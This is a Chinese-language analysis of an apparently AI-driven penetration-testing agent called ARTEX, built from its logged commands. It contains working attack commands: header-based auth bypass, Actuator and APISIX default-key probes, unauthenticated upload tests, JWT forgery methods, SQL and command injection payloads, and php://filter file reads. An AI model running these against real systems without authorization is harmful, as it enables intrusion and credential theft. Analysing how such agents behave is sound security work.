ARTEX 攻击工具与手法拆解

apt 包（12 个）#

1
ca-certificates  ripgrep  curl  wget  vim  git  jq  unzip
2
dnsutils  iputils-ping  netcat-openbsd  inetutils-telnet  whois  nmap

拆开看用途：

Node 生态#

1
npm install -g @playwright/mcp @playwright/cli playwright
2
playwright install --with-deps chromium

预装完整的 Playwright + Chromium，还配了国内镜像源（PLAYWRIGHT_DOWNLOAD_HOST=cdn.npmmirror.com）避免运行时下载。但实测 playwright-cli 调用 0 次 —— 这套浏览器能力在这批任务里完全没用起来。

刻意没装的#

镜像里没有 nuclei / sqlmap / ffuf / gobuster / nikto / whatweb / masscan / subfinder / httpx。这不是疏忽 ——

• 这些工具要么体积大，要么行为特征明显（容易被 WAF/IDS 抓）
• 官方镜像保持”轻”，把工具选择权留给任务本身
• 用户可以往 skills/ 挂自己的脚本，或者让 agent 现场装

结果：agent 只能靠 curl 手搓。这既是限制，也是这套系统实际的行为特征 —— 它不制造大量扫描噪声，而是针对性地打 HTTP 端点。

2.1 curl（4,100 次，占 55%）#

这是 ARTEX 真正的「攻击框架」。从命令样本里能提炼出 12 种固定用法：

1
curl -sk -m 10 -o /dev/null -w "login %{http_code} %{time_total}s\n" "http://<target>/path"

1
for m in GET POST PUT DELETE OPTIONS TRACE PATCH; do
2
  printf "%-8s " "$m"
3
  curl -sk -o /dev/null -X "$m" -w "%{http_code}\n" --max-time 10 "$U"
4
done

1
curl -s -D - -o /dev/null --max-time 18 "$@" 2>/dev/null \
2
  | awk 'NR==1{c=$2" "$3} /^[Ll]ocation:/{loc=$2} /^Allow:/{al=$0} END{...}'

1
curl -sk -m 10 -c "cj_$id.txt" "$B/login" -o /dev/null
2
curl -sk -m 10 -b "cj_$id.txt" -X POST "$B/api" ...

1
for h in "X-Forwarded-For: <ip>" "X-Real-IP: <ip>" "X-Forwarded-Host: localhost"; do
2
  curl -sk -H "$h" ...
3
done

1
printf 'harmless-poc-105' > poc.txt
2
curl -sk -m 15 -X POST "$U/portal-api/v1/service/upload" -F "file=@poc.txt"

1
curl -sk -X POST -H "Content-Type: application/json" \
2
  -d '{"username":"admin","password":"admin"}' "$U/api/login"

1
R="--resolve ehr.<target>:443:<ip>"
2
curl $R -sk "https://ehr.<target>/" ...

1
curl -sk -H "User-Agent: Mozilla/5.0 ..." -H "Referer: $U/" ...

1
curl -sk -m 12 --limit-rate 50k ...

1
curl -sIL -o /dev/null -w "%{url_effective} %{http_code}\n" "$U"

2.2 nmap（43 次）#

nmap 只占 0.6%，但用法有清晰的三段式演进，能看出 agent 的策略变化：

1
nmap -Pn -T4 --top-ports 100 -sV <ip> <ip> -oN nmap_top100.txt
2
nmap -Pn -T3 --top-ports 200 --open -sV --version-light <ip> <ip> -oN nmap_200.txt

1
nmap -Pn -T4 -p 80,443,8080,8443,8000,8888,8081,9090,22,3389,1521,3306 <ip> -oN nmap_webports.txt
2
nmap -Pn -n --open -T4 -p 9080,9180,2379,2380,8500,8848,9090,9100,9443,443,80 <ip>

1
nmap -Pn -sS -T4 --min-rate 1500 --max-retries 1 --host-timeout 90s -p 1-10000 <ip> -oN nmap_1-10000.txt
2
nmap -Pn -p- --open -T4 --min-rate 2000 <ip>
3
nmap -Pn -p 80 --script http-headers,http-title,http-methods,http-enum <ip> -oN nmap_scripts.txt

1
nmap -Pn -T2 --max-rate 200 --max-retries 1 --host-timeout 300s -p "$(cat ports.txt)" -iL ips.txt
2
nmap -sS -Pn -n -T2 --max-rate 40 --version-intensity 5 -p 8080 <ip>

2.3 python3（993 次内联 heredoc 脚本）#

这是 ARTEX 第二个真正的「攻击工具」。993 次用 python3 - <<'EOF' 形态现场写脚本执行，另有 1,688 次 heredoc 建文件。

为什么不用现成工具而写脚本：目标有定制加密、定制协议、定制签名，现成工具打不了。

按 import 分类（同一命令可能命中多类）：

1
from Crypto.Cipher import DES
2
key = b'...'                       # 从 JS 里提取的硬编码密钥
3
def pad(s): ...
4
def encrypt(pt): return base64.b64encode(DES.new(key, DES.MODE_ECB).encrypt(pad(pt)))
5
# 然后把加密后的参数塞进请求

1
from gql import gql, Client
2
q = gql('{ __schema { types { name fields { name } } } }')

2.4 文本处理层（grep 2,273 / sed 445 / awk 100 / sort 919 / uniq 104 / jq 14）#

grep 占 30.7%，是除 curl 外最高频的命令。这不是”攻击工具”，但它是把攻击结果压缩进上下文的唯一手段。

典型组合：

1
curl -s "$U/api/list" | jq -r '.[].id' | sort -u | wc -l
2
curl -sk "$U" | grep -oE '"/api/[^"]+"' | sort -u > api.txt
3
grep -rhoaE '.{0,120}("/api[^"]+").{0,200}' OUTDIR/js/*.js | head -20

为什么这么重要：一个前端 bundle 可能 5MB，全读进 context 直接爆。用 grep 抽出 20 行 API 路径，只占几百 token。

sort 出现 919 次基本都是 | sort -u 去重 —— 因为 agent 反复扫同一目标，结果大量重复。

2.5 DNS 与网络层（次要）#

1
dig +short A <domain>              # 3 次
2
host -t A <domain>                 # 8 次
3
nslookup <domain>                  # 35 次（多为解析判断）
4
nc -zv <ip> 443                    # 5 次
5
openssl s_client -connect <ip>:443 # 1 次
6
ping -c 3 <ip>                     # 3 次
7
traceroute <ip>                    # 2 次

频次极低，因为资产解析实际由 enrich 包（dnsx）异步完成，不走 agent 的 Bash。

openssl s_client 只用了 1 次，是抓证书 SAN 找关联域名。

3.1 Spring Boot Actuator 未授权（227 次命中 actuator）#

最常见的打点。探测清单：

1
/actuator
2
/actuator/env
3
/actuator/heapdump
4
/actuator/mappings
5
/actuator/beans
6
/actuator/configprops
7
/actuator/jolokia

/actuator/env 泄露数据库密码、Redis 密码、AK/SK；/actuator/heapdump 下载堆转储后能捞出内存里的凭据；/actuator/jolokia 可导致 RCE（MBean 操作）。

配合 X-Application-Context 响应头（第 3 种 curl 用法）确认是 Spring Boot。

3.2 APISIX 网关未授权（61 次）#

1
curl -sk "http://<target>/apisix/admin/routes" -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"

APISIX 默认 admin key 是公开的 edd1c9f034335f136f87ad84b625c8f1。拿到 /apisix/admin/routes 可读全部路由配置，甚至 PUT 一条恶意路由做 SSRF/转发劫持。

3.3 文件上传 / OSS 未授权（147 次）#

1
curl -skS -X POST "$U/api/blade-resource/oss/endpoint/put-file" \
2
  -F "file=@/tmp/x.txt" -w "\n[%{http_code}]\n"

BladeX 框架的 OSS 上传接口是经典未授权点。ARTEX 会一次试多个变体：

1
put-file
2
put-file-attach
3
put-file-rename

关键细节：内容永远是 test / harmless-poc-* —— 只验证通道开放，不投递恶意文件。这是刻意守住的边界（也对应 intercept 规则里对 webshell 关键字的监控）。

3.4 JWT 攻击（303 次）#

三类手法：

1. 算法混淆：把 alg 改成 none，去掉签名
2. 弱密钥爆破：HS256 用 secret/123456/key 等常见值离线爆破
3. claims 篡改：解出 payload，把 role 改成 admin、uid 改成 1，用泄露的密钥重签

getPublicKey 这类端点（RSA 公钥接口）是重点 —— 拿到公钥后可尝试 alg: HS256 混淆攻击（用公钥当 HMAC 密钥）。

3.5 认证绕过 / 头注入（268 次）#

1
for h in "X-Forwarded-For: <ip>" "X-Real-IP: <ip>" "X-Forwarded-Host: localhost"; do
2
  curl -sk -H "$h" -o /dev/null -w "%{http_code}\n" "$U/admin"
3
done

三种头的攻击面各不相同：

• X-Forwarded-For / X-Real-IP → 绕过 IP 白名单（“内网才能访问”）
• X-Forwarded-Host → 绕过基于 Host 的访问控制，也可能触发缓存投毒

3.6 SQL 注入探测（167 次）#

ARTEX 不做自动注入（没装 sqlmap），只做手工探测：

1
# 布尔盲注特征
2
curl -sk "$U/item?id=1' AND '1'='1" -o /tmp/a -w "%{size_download}"
3
curl -sk "$U/item?id=1' AND '1'='2" -o /tmp/b -w "%{size_download}"
4
# 对比两个响应大小

核心是差分：同一参数注入真假条件，比较 size_download 差异。命中后才让 worker 深入。

时间盲注用 sleep(5) 看 %{time_total}。

3.7 命令注入探测（25 次）#

1
for p in "%3Bid" "%7Cid" "%60id%60" "%24(id)"; do
2
  curl -sk "$U/ping?host=127.0.0.1$p" ...
3
done

;id、|id、`id`、$(id) 四种分隔符。回显里找 uid=。

3.8 路径/目录爆破（2,283 条循环命令）#

ARTEX 不用 ffuf/gobuster，全部自己写 curl 循环：

1
cat > small.txt <<'EOF'
2
/por/login_psw.csp
3
/por/login_auth.csp
4
/por/login_radius.csp
5
/por/login_token.csp
6
/por/login_sms.csp
7
EOF
8
while read p; do
9
  printf "%-40s " "$p"
10
  curl -sk -m 10 -o /dev/null -w "%{http_code} %{size_download}\n" "http://<target>$p"
11
done < small.txt

特点：

• 字典是自己按目标定制的小字典（5-20 条），不是通用大字典
• 字典来自对目标的理解（比如看到深信服 VPN，就试 /por/login_psw.csp）
• 用 %{http_code} + %{size_download} 双判据，避免 200 空页面误判

这比 ffuf 慢，但噪声小、针对性强。字典路径里出现 paths 428 次、dict 108 次、common 62 次 —— 说明 agent 会现场生成字典文件。

3.9 越权 / IDOR#

用两个不同身份的 cookie jar，打同一个 API：

1
curl -b "cj_a.txt" "$U/api/user/1001" -o /tmp/a
2
curl -b "cj_b.txt" "$U/api/user/1001" -o /tmp/b
3
diff /tmp/a /tmp/b

3.10 php://filter（2 次）#

仅 2 次，说明遇到 PHP 站点的比例不高：

1
curl -sk "$U/index.php?file=php://filter/convert.base64-encode/resource=config"

5.1 这是「手搓型」而非「工具编排型」#

对比典型自动化渗透平台（调用 nuclei 模板库 + ffuf 字典 + sqlmap）：

优势：能处理「现成工具打不了」的场景 —— 定制 DES 加密参数、GraphQL、JWT 混淆。这靠的是 LLM 现场读 JS 并复刻加密逻辑的能力，扫描器做不到。

劣势：覆盖率低。没装 nuclei 意味着错过了几千个已知 CVE 模板；没装 ffuf 意味着目录爆破靠手写循环，慢且不全。

5.2 playwright 装了却没用#

镜像花了大力气预装 Playwright + Chromium（还配了国内镜像源），但 playwright-cli 调用 0 次。

推测原因：

• skills/playwright-cli/ 技能存在，但需要 agent 主动调用 Skill 工具加载
• worker 的工具集里没有直接暴露 playwright，只能通过 Bash 调 playwright-cli
• agent 更倾向用 curl（更轻、更快、无浏览器开销）

这是一个明显的资源浪费 —— SPA 站点、需要 JS 渲染才能看到的接口，用 playwright 效率远高于 curl 抓 bundle 再正则。

5.3 命令规模#

中位数 436 字符意味着 agent 写的不是单行 curl，而是带变量、循环、错误处理的小脚本。这是「会写代码的攻击者」的行为特征，不是「调工具的脚本」。